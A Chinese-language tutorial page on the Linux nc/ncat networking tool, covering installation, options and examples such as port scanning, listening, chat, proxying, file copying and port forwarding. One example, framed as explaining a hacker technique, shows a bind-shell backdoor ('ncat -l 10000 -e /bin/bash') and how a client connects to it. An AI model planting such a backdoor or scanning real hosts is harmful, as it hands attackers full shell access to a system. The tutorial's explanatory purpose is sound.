Linux nc命令教程:如何使用网络界的瑞士军刀(附案例详解和注意事项)

Linux nc命令介绍

nc是netcat的简写,有着网络界的瑞士军刀美誉。它是一个功能强大的网络工具,主要有以下作用:

  • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  • 端口的扫描,nc可以作为client发起TCP或UDP连接
  • 机器之间传输文件
  • 机器之间网络测速

Linux nc命令适用的Linux版本

nc命令在大多数Debian发行版中是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS 7 / RHEL 7的最小化安装中,nc并不会默认被安装。你需要用下列命令手工安装:

[linux@bashcommandnotfound.cn ~]$ yum install nmap-ncat -y

Linux nc命令的基本语法

nc的基本语法格式如下:

nc [-hlnruz] [-g<网关...>] [-G<指向器数目>] [-i<延迟秒数>] [-o<输出文件>] [-p<通信端口>] [-s<来源位址>] [-v...] [-w<超时秒数>] [主机名称] [通信端口...]

Linux nc命令的常用选项或参数说明

以下是nc命令的一些常用选项:

选项 说明
-l 用于指定nc将处于侦听模式
-p 设置本地主机使用的通信端口
-s 设置本地主机送出数据包的IP地址
-u 使用UDP传输协议
-v 输出交互或出错信息
-w 超时秒数,后面跟数字
-z 表示zero,表示扫描时不发送任何数据

Linux nc命令的实例

以下是一些nc命令的实例:

  • TCP端口扫描
[linux@bashcommandnotfound.cn ~]$ nc -v -z -w2 192.168.0.1 1-100
  • 扫描UDP端口
[linux@bashcommandnotfound.cn ~]$ nc -u -z -w2 192.168.0.1 1-1000
  • 扫描指定端口
[linux@bashcommandnotfound.cn ~]$ nc -nvv 192.168.0.1 80
  • 监听入站连接:通过 -l 选项,ncat可以进入监听模式,使我们可以在指定端口监听入站连接。完整的命令是这样的:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080

服务器就会开始在8080端口监听入站连接。

  • 连接远程系统:使用下面命令可以用nc来连接远程系统,
[linux@bashcommandnotfound.cn ~]$ ncat IP_address port_number

例如,

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.0.1 80

这会创建一个连接,连接到IP为192.168.1.100的服务器上的80端口,然后我们就可以向服务器发送指令了。

  • 连接UDP端口:默认情况下,nc创建连接时只会连接TCP端口。不过我们可以使用 -u 选项来连接到UDP端口,
[linux@bashcommandnotfound.cn ~]$ ncat -l -u 1234

现在我们的系统会开始监听UDP的1234端口。

  • 将nc作为聊天工具:nc也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。在服务器这端运行:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080

在远程客户端主机上运行:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。

  • 将nc作为代理:nc也可以用来做代理。比如下面这个例子,
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080 | ncat 192.168.1.200 80

所有发往我们服务器8080端口的连接都会自动转发到192.168.1.200上的80端口。

  • 使用nc拷贝文件:nc还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了ssh/scp。不过如果你恰好遇见个没有ssh/scp的系统的话,你可以用nc来作最后的努力。在要接受数据的机器上启动nc并让它进入监听模式:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080 > file.txt

现在去要被拷贝数据的机器上运行下面命令:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080 --send-only < data.txt

这里,data.txt是要发送的文件。--send-only选项会在文件拷贝完后立即关闭连接。

  • 通过nc创建后门:nc命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。为了保护我们的系统,我们需要知道它是怎么做的。创建后门的命令为:
[linux@bashcommandnotfound.cn ~]$ ncat -l 10000 -e /bin/bash

-e标志将一个bash与端口10000相连。现在客户端只要连接到服务器上的10000端口就能通过bash获取我们系统的完整访问权限:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 10000
  • 通过nc进行端口转发:我们通过选项 -c 来用nc进行端口转发,实现端口转发的语法为:
[linux@bashcommandnotfound.cn ~]$ ncat -u -l 80 -c 'ncat -u -l 8080'

这样,所有连接到80端口的连接都会转发到8080端口。

  • 设置连接超时:nc的监听模式会一直运行,直到手工终止。不过我们可以通过选项 -w 设置超时时间:
[linux@bashcommandnotfound.cn ~]$ ncat -w 10 192.168.1.100 8080

这回导致连接10秒后终止,不过这个选项只能用于客户端而不是服务端。

  • 使用 -k 选项强制nc待命:当客户端从服务端断开连接后,过一段时间服务端也会停止监听。但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。命令如下:
[linux@bashcommandnotfound.cn ~]$ ncat -l -k 8080

现在即使来自客户端的连接断了也依然会处于待命状态。

Linux nc命令的注意事项

如果你在使用nc命令时遇到了"bash: nc: command not found"的错误,那么你可能需要安装nc。

更多详细内容可以参考:
linux入门学习教程 - Linux入门自学网
Linux下nc命令用法详解:如何使用网络界的瑞士军刀,号称最强大的网络工具

最近更新

  1. TCP协议是安全的吗?

    2023-12-19 14:02:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-19 14:02:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-19 14:02:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-19 14:02:02       20 阅读

热门阅读

  1. android的bundle的常用函数(ChatGPT)

    2023-12-19 14:02:02       36 阅读
  2. PCL 已知同名点对计算旋转矩阵并对点云进行旋转

    2023-12-19 14:02:02       44 阅读
  3. WordPress WP_Query参数使用说明

    2023-12-19 14:02:02       32 阅读
  4. 【selenium】自动化使用 chrome 的 user-data-dir

    2023-12-19 14:02:02       41 阅读
  5. 2312llvm,01基本介绍

    2023-12-19 14:02:02       38 阅读
  6. react项目:Table表格数据转换为图片下载保存

    2023-12-19 14:02:02       43 阅读